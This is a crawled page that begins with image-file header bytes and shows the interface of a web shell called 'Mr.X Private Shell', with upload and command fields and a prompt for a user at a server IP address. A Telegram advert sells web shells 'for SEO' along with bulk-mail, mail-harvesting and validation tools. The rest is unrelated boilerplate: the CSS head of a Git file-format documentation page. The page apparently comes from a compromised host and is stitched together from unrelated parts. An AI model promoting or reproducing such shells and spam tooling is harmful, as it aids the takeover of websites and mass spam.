����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<meta name="generator" content="Asciidoctor 2.0.12"/>
<title>gitformat-commit-graph(5)</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:300,300italic,400,400italic,600,600italic%7CNoto+Serif:400,400italic,700,700italic%7CDroid+Sans+Mono:400,700"/>
<style>
/* Asciidoctor default stylesheet | MIT License | https://asciidoctor.org */
/* Uncomment @import statement to use as custom stylesheet */
/*@import "https://fonts.googleapis.com/css?family=Open+Sans:300,300italic,400,400italic,600,600italic%7CNoto+Serif:400,400italic,700,700italic%7CDroid+Sans+Mono:400,700";*/
article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}
audio,video{display:inline-block}
audio:not([controls]){display:none;height:0}
html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}
a{background:none}
a:focus{outline:thin dotted}
a:active,a:hover{outline:0}
h1{font-size:2em;margin:.67em 0}
abbr[title]{border-bottom:1px dotted}
b,strong{font-weight:bold}
dfn{font-style:italic}
hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}
mark{background:#ff0;color:#000}
code,kbd,pre,samp{font-family:monospace;font-size:1em}
pre{white-space:pre-wrap}
q{quotes:"\201C" "\201D" "\2018" "\2019"}
small{font-size:80%}
sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}
sup{top:-.5em}
sub{bottom:-.25em}
img{border:0}
svg:not(:root){overflow:hidden}
figure{margin:0}
fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}
legend{border:0;padding:0}
button,input,select,textarea{font-family:inherit;font-size:100%;margin:0}
button,input{line-height:normal}
button,select{text-transform:none}
button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}
button[disabled],html input[disabled]{cursor:default}
input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}
button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}
textarea{overflow:auto;vertical-align:top}
table{border-collapse:collapse;border-spacing:0}
*,*::before,*::after{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}
html,body{font-size:100%}
body{background:#fff;color:rgba(0,0,0,.8);padding:0;margin:0;font-family:"Noto Serif","DejaVu Serif",serif;font-weight:400;font-style:normal;line-height:1;position:relative;cursor:auto;tab-size:4;word-wrap:anywhere;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}
a:hover{cursor:pointer}
img,object,embed{max-width:100%;height:auto}
object,embed{height:100%}
img{-ms-interpolation-mode:bicubic}
.left{float:left!important}
.right{float:right!important}
.text-left{text-align:left!important}
.text-right{text-align:right!important}
.text-center{text-align:center!important}
.text-justify{text-align:justify!important}
.hide{display:none}
img,object,svg{display:inline-block;vertical-align:middle}
textarea{height:auto;min-height:50px}
select{width:100%}
.subheader,.admonitionblock td.content>.title,.audioblock>.title,.exampleblock>.title,.imageblock>.title,.listingblock>.title,.literalblock>.title,.stemblock>.title,.openblock>.title,.paragraph>.title,.quoteblock>.title,table.tableblock>.title,.verseblock>.title,.videoblock>.title,.dlist>.title,.olist>.title,.ulist>.title,.qlist>.title,.hdlist>.title{line-height:1.45;color:#7a2518;font-weight:400;margin-top:0;margin-bottom:.25em}
div,dl,dt,dd,ul,ol,li,h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6,pre,form,p,blockquote,th,td{margin:0;padding:0}
a{color:#2156a5;text-decoration:underline;line-height:inherit}
a:hover,a:focus{color:#1d4b8f}
a img{border:0}
p{font-family:inherit;font-weight:400;font-size:1em;line-height:1.6;margin-bottom:1.25em;text-rendering:optimizeLegibility}
p aside{font-size:.875em;line-height:1.35;font-style:italic}
h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{font-family:"Open Sans","DejaVu Sans",sans-serif;font-weight:300;font-style:normal;color:#ba3925;text-rendering:optimizeLegibility;margin-top:1em;margin-bottom:.5em;line-height:1.0125em}
h1 small,h2 small,h3 small,#toctitle small,.sidebarblock>.content>.title small,h4 small,h5 small,h6 small{font-size:60%;color:#e99b8f;line-height:0}
h1{font-size:2.125em}
h2{font-size:1.6875em}
h3,#toctitle,.sidebarblock>.content>.title{font-size:1.375em}
h4,h5{font-size:1.125em}
h6{font-size:1em}
hr{border:solid #dddddf;border-width:1px 0 0;clear:both;margin:1.25em 0 1.1875em;height:0}
em,i{font-style:italic;line-height:inherit}
strong,b{font-weight:bold;line-height:inherit}
small{font-size:60%;line-height:inherit}
code{font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;font-weight:400;color:rgba(0,0,0,.9)}
ul,ol,dl{font-size:1em;line-height:1.6;margin-bottom:1.25em;list-style-position:outside;font-family:inherit}
ul,ol{margin-left:1.5em}
ul li ul,ul li ol{margin-left:1.25em;margin-bottom:0;font-size:1em}
ul.square li ul,ul.circle li ul,ul.disc li ul{list-style:inherit}
ul.square{list-style-type:square}
ul.circle{list-style-type:circle}
ul.disc{list-style-type:disc}
ol li ul,ol li ol{margin-left:1.25em;margin-bottom:0}
dl dt{margin-bottom:.3125em;font-weight:bold}
dl dd{margin-bottom:1.25em}
abbr,acronym{text-transform:uppercase;font-size:90%;color:rgba(0,0,0,.8);border-bottom:1px dotted #ddd;cursor:help}
abbr{text-transform:none}
blockquote{margin:0 0 1.25em;padding:.5625em 1.25em 0 1.1875em;border-left:1px solid #ddd}
blockquote cite{display:block;font-size:.9375em;color:rgba(0,0,0,.6)}
blockquote cite::before{content:"\2014 \0020"}
blockquote cite a,blockquote cite a:visited{color:rgba(0,0,0,.6)}
blockquote,blockquote p{line-height:1.6;color:rgba(0,0,0,.85)}
@media screen and (min-width:768px){h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{line-height:1.2}
h1{font-size:2.75em}
h2{font-size:2.3125em}
h3,#toctitle,.sidebarblock>.content>.title{font-size:1.6875em}
h4{font-size:1.4375em}}
table{background:#fff;margin-bottom:1.25em;border:solid 1px #dedede;word-wrap:normal}
table thead,table tfoot{background:#f7f8f7}
table thead tr th,table thead tr td,table tfoot tr th,table tfoot tr td{padding:.5em .625em .625em;font-size:inherit;color:rgba(0,0,0,.8);text-align:left}
table tr th,table tr td{padding:.5625em .625em;font-size:inherit;color:rgba(0,0,0,.8)}
table tr.even,table tr.alt{background:#f8f8f7}
table thead tr th,table tfoot tr th,table tbody tr td,table tr td,table tfoot tr td{line-height:1.6}
h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{line-height:1.2;word-spacing:-.05em}
h1 strong,h2 strong,h3 strong,#toctitle strong,.sidebarblock>.content>.title strong,h4 strong,h5 strong,h6 strong{font-weight:400}
.center{margin-left:auto;margin-right:auto}
.stretch{width:100%}
.clearfix::before,.clearfix::after,.float-group::before,.float-group::after{content:" ";display:table}
.clearfix::after,.float-group::after{clear:both}
:not(pre).nobreak{word-wrap:normal}
:not(pre).nowrap{white-space:nowrap}
:not(pre).pre-wrap{white-space:pre-wrap}
:not(pre):not([class^=L])>code{font-size:.9375em;font-style:normal!important;letter-spacing:0;padding:.1em .5ex;word-spacing:-.15em;background:#f7f7f8;-webkit-border-radius:4px;border-radius:4px;line-height:1.45;text-rendering:optimizeSpeed}
pre{color:rgba(0,0,0,.9);font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;line-height:1.45;text-rendering:optimizeSpeed}
pre code,pre pre{color:inherit;font-size:inherit;line-height:inherit}
pre>code{display:block}
pre.nowrap,pre.nowrap pre{white-space:pre;word-wrap:normal}
em em{font-style:normal}
strong strong{font-weight:400}
.keyseq{color:rgba(51,51,51,.8)}
kbd{font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;display:inline-block;color:rgba(0,0,0,.8);font-size:.65em;line-height:1.45;background:#f7f7f7;border:1px solid #ccc;-webkit-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.2),0 0 0 .1em white inset;box-shadow:0 1px 0 rgba(0,0,0,.2),0 0 0 .1em #fff inset;margin:0 .15em;padding:.2em .5em;vertical-align:middle;position:relative;top:-.1em;white-space:nowrap}
.keyseq kbd:first-child{margin-left:0}
.keyseq kbd:last-child{margin-right:0}
.menuseq,.menuref{color:#000}
.menuseq b:not(.caret),.menuref{font-weight:inherit}
.menuseq{word-spacing:-.02em}
.menuseq b.caret{font-size:1.25em;line-height:.8}
.menuseq i.caret{font-weight:bold;text-align:center;width:.45em}
b.button::before,b.button::after{position:relative;top:-1px;font-weight:400}
b.button::before{content:"[";padding:0 3px 0 2px}
b.button::after{content:"]";padding:0 2px 0 3px}
p a>code:hover{color:rgba(0,0,0,.9)}
#header,#content,#footnotes,#footer{width:100%;margin-left:auto;margin-right:auto;margin-top:0;margin-bottom:0;max-width:62.5em;*zoom:1;position:relative;padding-left:.9375em;padding-right:.9375em}
#header::before,#header::after,#content::before,#content::after,#footnotes::before,#footnotes::after,#footer::before,#footer::after{content:" ";display:table}
#header::after,#content::after,#footnotes::after,#footer::after{clear:both}
#content{margin-top:1.25em}
#content::before{content:none}
#header>h1:first-child{color:rgba(0,0,0,.85);margin-top:2.25rem;margin-bottom:0}
#header>h1:first-child+#toc{margin-top:8px;border-top:1px solid #dddddf}
#header>h1:only-child,body.toc2 #header>h1:nth-last-child(2){border-bottom:1px solid #dddddf;padding-bottom:8px}
#header .details{border-bottom:1px solid #dddddf;line-height:1.45;padding-top:.25em;padding-bottom:.25em;padding-left:.25em;color:rgba(0,0,0,.6);display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-flow:row wrap;-webkit-flex-flow:row wrap;flex-flow:row wrap}
#header .details span:first-child{margin-left:-.125em}
#header .details span.email a{color:rgba(0,0,0,.85)}
#header .details br{display:none}
#header .details br+span::before{content:"\00a0\2013\00a0"}
#header .details br+span.author::before{content:"\00a0\22c5\00a0";color:rgba(0,0,0,.85)}
#header .details br+span#revremark::before{content:"\00a0|\00a0"}
#header #revnumber{text-transform:capitalize}
#header #revnumber::after{content:"\00a0"}
#content>h1:first-child:not([class]){color:rgba(0,0,0,.85);border-bottom:1px solid #dddddf;padding-bottom:8px;margin-top:0;padding-top:1rem;margin-bottom:1.25rem}
#toc{border-bottom:1px solid #e7e7e9;padding-bottom:.5em}
#toc>ul{margin-left:.125em}
#toc ul.sectlevel0>li>a{font-style:italic}
#toc ul.sectlevel0 ul.sectlevel1{margin:.5em 0}
#toc ul{font-family:"Open Sans","DejaVu Sans",sans-serif;list-style-type:none}
#toc li{line-height:1.3334;margin-top:.3334em}
#toc a{text-decoration:none}
#toc a:active{text-decoration:underline}
#toctitle{color:#7a2518;font-size:1.2em}
@media screen and (min-width:768px){#toctitle{font-size:1.375em}
body.toc2{padding-left:15em;padding-right:0}
#toc.toc2{margin-top:0!important;background:#f8f8f7;position:fixed;width:15em;left:0;top:0;border-right:1px solid #e7e7e9;border-top-width:0!important;border-bottom-width:0!important;z-index:1000;padding:1.25em 1em;height:100%;overflow:auto}
#toc.toc2 #toctitle{margin-top:0;margin-bottom:.8rem;font-size:1.2em}
#toc.toc2>ul{font-size:.9em;margin-bottom:0}
#toc.toc2 ul ul{margin-left:0;padding-left:1em}
#toc.toc2 ul.sectlevel0 ul.sectlevel1{padding-left:0;margin-top:.5em;margin-bottom:.5em}
body.toc2.toc-right{padding-left:0;padding-right:15em}
body.toc2.toc-right #toc.toc2{border-right-width:0;border-left:1px solid #e7e7e9;left:auto;right:0}}
@media screen and (min-width:1280px){body.toc2{padding-left:20em;padding-right:0}
#toc.toc2{width:20em}
#toc.toc2 #toctitle{font-size:1.375em}
#toc.toc2>ul{font-size:.95em}
#toc.toc2 ul ul{padding-left:1.25em}
body.toc2.toc-right{padding-left:0;padding-right:20em}}
#content #toc{border-style:solid;border-width:1px;border-color:#e0e0dc;margin-bottom:1.25em;padding:1.25em;background:#f8f8f7;-webkit-border-radius:4px;border-radius:4px}
#content #toc>:first-child{margin-top:0}
#content #toc>:last-child{margin-bottom:0}
#footer{max-width:none;background:rgba(0,0,0,.8);padding:1.25em}
#footer-text{color:rgba(255,255,255,.8);line-height:1.44}
#content{margin-bottom:.625em}
.sect1{padding-bottom:.625em}
@media screen and (min-width:768px){#content{margin-bottom:1.25em}
.sect1{padding-bottom:1.25em}}
.sect1:last-child{padding-bottom:0}
.sect1+.sect1{border-top:1px solid #e7e7e9}
#content h1>a.anchor,h2>a.anchor,h3>a.anchor,#toctitle>a.anchor,.sidebarblock>.content>.title>a.anchor,h4>a.anchor,h5>a.anchor,h6>a.anchor{position:absolute;z-index:1001;width:1.5ex;margin-left:-1.5ex;display:block;text-decoration:none!important;visibility:hidden;text-align:center;font-weight:400}
#content h1>a.anchor::before,h2>a.anchor::before,h3>a.anchor::before,#toctitle>a.anchor::before,.sidebarblock>.content>.title>a.anchor::before,h4>a.anchor::before,h5>a.anchor::before,h6>a.anchor::before{content:"\00A7";font-size:.85em;display:block;padding-top:.1em}
#content h1:hover>a.anchor,#content h1>a.anchor:hover,h2:hover>a.anchor,h2>a.anchor:hover,h3:hover>a.anchor,#toctitle:hover>a.anchor,.sidebarblock>.content>.title:hover>a.anchor,h3>a.anchor:hover,#toctitle>a.anchor:hover,.sidebarblock>.content>.title>a.anchor:hover,h4:hover>a.anchor,h4>a.anchor:hover,h5:hover>a.anchor,h5>a.anchor:hover,h6:hover>a.anchor,h6>a.anchor:hover{visibility:visible}
#content h1>a.link,h2>a.link,h3>a.link,#toctitle>a.link,.sidebarblock>.content>.title>a.link,h4>a.link,h5>a.link,h6>a.link{color:#ba3925;text-decoration:none}
#content h1>a.link:hover,h2>a.link:hover,h3>a.link:hover,#toctitle>a.link:hover,.sidebarblock>.content>.title>a.link:hover,h4>a.link:hover,h5>a.link:hover,h6>a.link:hover{color:#a53221}
details,.audioblock,.imageblock,.literalblock,.listingblock,.stemblock,.videoblock{margin-bottom:1.25em}
details>summary:first-of-type{cursor:pointer;display:list-item;outline:none;margin-bottom:.75em}
.admonitionblock td.content>.title,.audioblock>.title,.exampleblock>.title,.imageblock>.title,.listingblock>.title,.literalblock>.title,.stemblock>.title,.openblock>.title,.paragraph>.title,.quoteblock>.title,table.tableblock>.title,.verseblock>.title,.videoblock>.title,.dlist>.title,.olist>.title,.ulist>.title,.qlist>.title,.hdlist>.title{text-rendering:optimizeLegibility;text-align:left;font-family:"Noto Serif","DejaVu Serif",serif;font-size:1rem;font-style:italic}
table.tableblock.fit-content>caption.title{white-space:nowrap;width:0}
.paragraph.lead>p,#preamble>.sectionbody>[class="paragraph"]:first-of-type p{font-size:1.21875em;line-height:1.6;color:rgba(0,0,0,.85)}
table.tableblock #preamble>.sectionbody>[class="paragraph"]:first-of-type p{font-size:inherit}
.admonitionblock>table{border-collapse:separate;border:0;background:none;width:100%}
.admonitionblock>table td.icon{text-align:center;width:80px}
.admonitionblock>table td.icon img{max-width:none}
.admonitionblock>table td.icon .title{font-weight:bold;font-family:"Open Sans","DejaVu Sans",sans-serif;text-transform:uppercase}
.admonitionblock>table td.content{padding-left:1.125em;padding-right:1.25em;border-left:1px solid #dddddf;color:rgba(0,0,0,.6);word-wrap:anywhere}
.admonitionblock>table td.content>:last-child>:last-child{margin-bottom:0}
.exampleblock>.content{border-style:solid;border-width:1px;border-color:#e6e6e6;margin-bottom:1.25em;padding:1.25em;background:#fff;-webkit-border-radius:4px;border-radius:4px}
.exampleblock>.content>:first-child{margin-top:0}
.exampleblock>.content>:last-child{margin-bottom:0}
.sidebarblock{border-style:solid;border-width:1px;border-color:#dbdbd6;margin-bottom:1.25em;padding:1.25em;background:#f3f3f2;-webkit-border-radius:4px;border-radius:4px}
.sidebarblock>:first-child{margin-top:0}
.sidebarblock>:last-child{margin-bottom:0}
.sidebarblock>.content>.title{color:#7a2518;margin-top:0;text-align:center}
.exampleblock>.content>:last-child>:last-child,.exampleblock>.content .olist>ol>li:last-child>:last-child,.exampleblock>.content .ulist>ul>li:last-child>:last-child,.exampleblock>.content .qlist>ol>li:last-child>:last-child,.sidebarblock>.content>:last-child>:last-child,.sidebarblock>.content .olist>ol>li:last-child>:last-child,.sidebarblock>.content .ulist>ul>li:last-child>:last-child,.sidebarblock>.content .qlist>ol>li:last-child>:last-child{margin-bottom:0}
.literalblock pre,.listingblock>.content>pre{-webkit-border-radius:4px;border-radius:4px;overflow-x:auto;padding:1em;font-size:.8125em}
@media screen and (min-width:768px){.literalblock pre,.listingblock>.content>pre{font-size:.90625em}}
@media screen and (min-width:1280px){.literalblock pre,.listingblock>.content>pre{font-size:1em}}
.literalblock pre,.listingblock>.content>pre:not(.highlight),.listingblock>.content>pre[class="highlight"],.listingblock>.content>pre[class^="highlight "]{background:#f7f7f8}
.literalblock.output pre{color:#f7f7f8;background:rgba(0,0,0,.9)}
.listingblock>.content{position:relative}
.listingblock code[data-lang]::before{display:none;content:attr(data-lang);position:absolute;font-size:.75em;top:.425rem;right:.5rem;line-height:1;text-transform:uppercase;color:inherit;opacity:.5}
.listingblock:hover code[data-lang]::before{display:block}
.listingblock.terminal pre .command::before{content:attr(data-prompt);padding-right:.5em;color:inherit;opacity:.5}
.listingblock.terminal pre .command:not([data-prompt])::before{content:"$"}
.listingblock pre.highlightjs{padding:0}
.listingblock pre.highlightjs>code{padding:1em;-webkit-border-radius:4px;border-radius:4px}
.listingblock pre.prettyprint{border-width:0}
.prettyprint{background:#f7f7f8}
pre.prettyprint .linenums{line-height:1.45;margin-left:2em}
pre.prettyprint li{background:none;list-style-type:inherit;padding-left:0}
pre.prettyprint li code[data-lang]::before{opacity:1}
pre.prettyprint li:not(:first-child) code[data-lang]::before{display:none}
table.linenotable{border-collapse:separate;border:0;margin-bottom:0;background:none}
table.linenotable td[class]{color:inherit;vertical-align:top;padding:0;line-height:inherit;white-space:normal}
table.linenotable td.code{padding-left:.75em}
table.linenotable td.linenos{border-right:1px solid currentColor;opacity:.35;padding-right:.5em}
pre.pygments .lineno{border-right:1px solid currentColor;opacity:.35;display:inline-block;margin-right:.75em}
pre.pygments .lineno::before{content:"";margin-right:-.125em}
.quoteblock{margin:0 1em 1.25em 1.5em;display:table}
.quoteblock:not(.excerpt)>.title{margin-left:-1.5em;margin-bottom:.75em}
.quoteblock blockquote,.quoteblock p{color:rgba(0,0,0,.85);font-size:1.15rem;line-height:1.75;word-spacing:.1em;letter-spacing:0;font-style:italic;text-align:justify}
.quoteblock blockquote{margin:0;padding:0;border:0}
.quoteblock blockquote::before{content:"\201c";float:left;font-size:2.75em;font-weight:bold;line-height:.6em;margin-left:-.6em;color:#7a2518;text-shadow:0 1px 2px rgba(0,0,0,.1)}
.quoteblock blockquote>.paragraph:last-child p{margin-bottom:0}
.quoteblock .attribution{margin-top:.75em;margin-right:.5ex;text-align:right}
.verseblock{margin:0 1em 1.25em}
.verseblock pre{font-family:"Open Sans","DejaVu Sans",sans;font-size:1.15rem;color:rgba(0,0,0,.85);font-weight:300;text-rendering:optimizeLegibility}
.verseblock pre strong{font-weight:400}
.verseblock .attribution{margin-top:1.25rem;margin-left:.5ex}
.quoteblock .attribution,.verseblock .attribution{font-size:.9375em;line-height:1.45;font-style:italic}
.quoteblock .attribution br,.verseblock .attribution br{display:none}
.quoteblock .attribution cite,.verseblock .attribution cite{display:block;letter-spacing:-.025em;color:rgba(0,0,0,.6)}
.quoteblock.abstract blockquote::before,.quoteblock.excerpt blockquote::before,.quoteblock .quoteblock blockquote::before{display:none}
.quoteblock.abstract blockquote,.quoteblock.abstract p,.quoteblock.excerpt blockquote,.quoteblock.excerpt p,.quoteblock .quoteblock blockquote,.quoteblock .quoteblock p{line-height:1.6;word-spacing:0}
.quoteblock.abstract{margin:0 1em 1.25em;display:block}
.quoteblock.abstract>.title{margin:0 0 .375em;font-size:1.15em;text-align:center}
.quoteblock.excerpt>blockquote,.quoteblock .quoteblock{padding:0 0 .25em 1em;border-left:.25em solid #dddddf}
.quoteblock.excerpt,.quoteblock .quoteblock{margin-left:0}
.quoteblock.excerpt blockquote,.quoteblock.excerpt p,.quoteblock .quoteblock blockquote,.quoteblock .quoteblock p{color:inherit;font-size:1.0625rem}
.quoteblock.excerpt .attribution,.quoteblock .quoteblock .attribution{color:inherit;text-align:left;margin-right:0}
p.tableblock:last-child{margin-bottom:0}
td.tableblock>.content{margin-bottom:1.25em;word-wrap:anywhere}
td.tableblock>.content>:last-child{margin-bottom:-1.25em}
table.tableblock,th.tableblock,td.tableblock{border:0 solid #dedede}
table.grid-all>*>tr>*{border-width:1px}
table.grid-cols>*>tr>*{border-width:0 1px}
table.grid-rows>*>tr>*{border-width:1px 0}
table.frame-all{border-width:1px}
table.frame-ends{border-width:1px 0}
table.frame-sides{border-width:0 1px}
table.frame-none>colgroup+*>:first-child>*,table.frame-sides>colgroup+*>:first-child>*{border-top-width:0}
table.frame-none>:last-child>:last-child>*,table.frame-sides>:last-child>:last-child>*{border-bottom-width:0}
table.frame-none>*>tr>:first-child,table.frame-ends>*>tr>:first-child{border-left-width:0}
table.frame-none>*>tr>:last-child,table.frame-ends>*>tr>:last-child{border-right-width:0}
table.stripes-all tr,table.stripes-odd tr:nth-of-type(odd),table.stripes-even tr:nth-of-type(even),table.stripes-hover tr:hover{background:#f8f8f7}
th.halign-left,td.halign-left{text-align:left}
th.halign-right,td.halign-right{text-align:right}
th.halign-center,td.halign-center{text-align:center}
th.valign-top,td.valign-top{vertical-align:top}
th.valign-bottom,td.valign-bottom{vertical-align:bottom}
th.valign-middle,td.valign-middle{vertical-align:middle}
table thead th,table tfoot th{font-weight:bold}
tbody tr th{background:#f7f8f7}
tbody tr th,tbody tr th p,tfoot tr th,tfoot tr th p{color:rgba(0,0,0,.8);font-weight:bold}
p.tableblock>code:only-child{background:none;padding:0}
p.tableblock{font-size:1em}
ol{margin-left:1.75em}
ul li ol{margin-left:1.5em}
dl dd{margin-left:1.125em}
dl dd:last-child,dl dd:last-child>:last-child{margin-bottom:0}
ol>li p,ul>li p,ul dd,ol dd,.olist .olist,.ulist .ulist,.ulist .olist,.olist .ulist{margin-bottom:.625em}
ul.checklist,ul.none,ol.none,ul.no-bullet,ol.no-bullet,ol.unnumbered,ul.unstyled,ol.unstyled{list-style-type:none}
ul.no-bullet,ol.no-bullet,ol.unnumbered{margin-left:.625em}
ul.unstyled,ol.unstyled{margin-left:0}
ul.checklist{margin-left:.625em}
ul.checklist li>p:first-child>.fa-square-o:first-child,ul.checklist li>p:first-child>.fa-check-square-o:first-child{width:1.25em;font-size:.8em;position:relative;bottom:.125em}
ul.checklist li>p:first-child>input[type="checkbox"]:first-child{margin-right:.25em}
ul.inline{display:-ms-flexbox;display:-webkit-box;display:flex;-ms-flex-flow:row wrap;-webkit-flex-flow:row wrap;flex-flow:row wrap;list-style:none;margin:0 0 .625em -1.25em}
ul.inline>li{margin-left:1.25em}
.unstyled dl dt{font-weight:400;font-style:normal}
ol.arabic{list-style-type:decimal}
ol.decimal{list-style-type:decimal-leading-zero}
ol.loweralpha{list-style-type:lower-alpha}
ol.upperalpha{list-style-type:upper-alpha}
ol.lowerroman{list-style-type:lower-roman}
ol.upperroman{list-style-type:upper-roman}
ol.lowergreek{list-style-type:lower-greek}
.hdlist>table,.colist>table{border:0;background:none}
.hdlist>table>tbody>tr,.colist>table>tbody>tr{background:none}
td.hdlist1,td.hdlist2{vertical-align:top;padding:0 .625em}
td.hdlist1{font-weight:bold;padding-bottom:1.25em}
td.hdlist2{word-wrap:anywhere}
.literalblock+.colist,.listingblock+.colist{margin-top:-.5em}
.colist td:not([class]):first-child{padding:.4em .75em 0;line-height:1;vertical-align:top}
.colist td:not([class]):first-child img{max-width:none}
.colist td:not([class]):last-child{padding:.25em 0}
.thumb,.th{line-height:0;display:inline-block;border:solid 4px #fff;-webkit-box-shadow:0 0 0 1px #ddd;box-shadow:0 0 0 1px #ddd}
.imageblock.left{margin:.25em .625em 1.25em 0}
.imageblock.right{margin:.25em 0 1.25em .625em}
.imageblock>.title{margin-bottom:0}
.imageblock.thumb,.imageblock.th{border-width:6px}
.imageblock.thumb>.title,.imageblock.th>.title{padding:0 .125em}
.image.left,.image.right{margin-top:.25em;margin-bottom:.25em;display:inline-block;line-height:0}
.image.left{margin-right:.625em}
.image.right{margin-left:.625em}
a.image{text-decoration:none;display:inline-block}
a.image object{pointer-events:none}
sup.footnote,sup.footnoteref{font-size:.875em;position:static;vertical-align:super}
sup.footnote a,sup.footnoteref a{text-decoration:none}
sup.footnote a:active,sup.footnoteref a:active{text-decoration:underline}
#footnotes{padding-top:.75em;padding-bottom:.75em;margin-bottom:.625em}
#footnotes hr{width:20%;min-width:6.25em;margin:-.25em 0 .75em;border-width:1px 0 0}
#footnotes .footnote{padding:0 .375em 0 .225em;line-height:1.3334;font-size:.875em;margin-left:1.2em;margin-bottom:.2em}
#footnotes .footnote a:first-of-type{font-weight:bold;text-decoration:none;margin-left:-1.05em}
#footnotes .footnote:last-of-type{margin-bottom:0}
#content #footnotes{margin-top:-.625em;margin-bottom:0;padding:.75em 0}
.gist .file-data>table{border:0;background:#fff;width:100%;margin-bottom:0}
.gist .file-data>table td.line-data{width:99%}
div.unbreakable{page-break-inside:avoid}
.big{font-size:larger}
.small{font-size:smaller}
.underline{text-decoration:underline}
.overline{text-decoration:overline}
.line-through{text-decoration:line-through}
.aqua{color:#00bfbf}
.aqua-background{background:#00fafa}
.black{color:#000}
.black-background{background:#000}
.blue{color:#0000bf}
.blue-background{background:#0000fa}
.fuchsia{color:#bf00bf}
.fuchsia-background{background:#fa00fa}
.gray{color:#606060}
.gray-background{background:#7d7d7d}
.green{color:#006000}
.green-background{background:#007d00}
.lime{color:#00bf00}
.lime-background{background:#00fa00}
.maroon{color:#600000}
.maroon-background{background:#7d0000}
.navy{color:#000060}
.navy-background{background:#00007d}
.olive{color:#606000}
.olive-background{background:#7d7d00}
.purple{color:#600060}
.purple-background{background:#7d007d}
.red{color:#bf0000}
.red-background{background:#fa0000}
.silver{color:#909090}
.silver-background{background:#bcbcbc}
.teal{color:#006060}
.teal-background{background:#007d7d}
.white{color:#bfbfbf}
.white-background{background:#fafafa}
.yellow{color:#bfbf00}
.yellow-background{background:#fafa00}
span.icon>.fa{cursor:default}
a span.icon>.fa{cursor:inherit}
.admonitionblock td.icon [class^="fa icon-"]{font-size:2.5em;text-shadow:1px 1px 2px rgba(0,0,0,.5);cursor:default}
.admonitionblock td.icon .icon-note::before{content:"\f05a";color:#19407c}
.admonitionblock td.icon .icon-tip::before{content:"\f0eb";text-shadow:1px 1px 2px rgba(155,155,0,.8);color:#111}
.admonitionblock td.icon .icon-warning::before{content:"\f071";color:#bf6900}
.admonitionblock td.icon .icon-caution::before{content:"\f06d";color:#bf3400}
.admonitionblock td.icon .icon-important::before{content:"\f06a";color:#bf0000}
.conum[data-value]{display:inline-block;color:#fff!important;background:rgba(0,0,0,.8);-webkit-border-radius:50%;border-radius:50%;text-align:center;font-size:.75em;width:1.67em;height:1.67em;line-height:1.67em;font-family:"Open Sans","DejaVu Sans",sans-serif;font-style:normal;font-weight:bold}
.conum[data-value] *{color:#fff!important}
.conum[data-value]+b{display:none}
.conum[data-value]::after{content:attr(data-value)}
pre .conum[data-value]{position:relative;top:-.125em}
b.conum *{color:inherit!important}
.conum:not([data-value]):empty{display:none}
dt,th.tableblock,td.content,div.footnote{text-rendering:optimizeLegibility}
h1,h2,p,td.content,span.alt{letter-spacing:-.01em}
p strong,td.content strong,div.footnote strong{letter-spacing:-.005em}
p,blockquote,dt,td.content,span.alt{font-size:1.0625rem}
p{margin-bottom:1.25rem}
.sidebarblock p,.sidebarblock dt,.sidebarblock td.content,p.tableblock{font-size:1em}
.exampleblock>.content{background:#fffef7;border-color:#e0e0dc;-webkit-box-shadow:0 1px 4px #e0e0dc;box-shadow:0 1px 4px #e0e0dc}
.print-only{display:none!important}
@page{margin:1.25cm .75cm}
@media print{*{-webkit-box-shadow:none!important;box-shadow:none!important;text-shadow:none!important}
html{font-size:80%}
a{color:inherit!important;text-decoration:underline!important}
a.bare,a[href^="#"],a[href^="mailto:"]{text-decoration:none!important}
a[href^="http:"]:not(.bare)::after,a[href^="https:"]:not(.bare)::after{content:"(" attr(href) ")";display:inline-block;font-size:.875em;padding-left:.25em}
abbr[title]::after{content:" (" attr(title) ")"}
pre,blockquote,tr,img,object,svg{page-break-inside:avoid}
thead{display:table-header-group}
svg{max-width:100%}
p,blockquote,dt,td.content{font-size:1em;orphans:3;widows:3}
h2,h3,#toctitle,.sidebarblock>.content>.title{page-break-after:avoid}
#header,#content,#footnotes,#footer{max-width:none}
#toc,.sidebarblock,.exampleblock>.content{background:none!important}
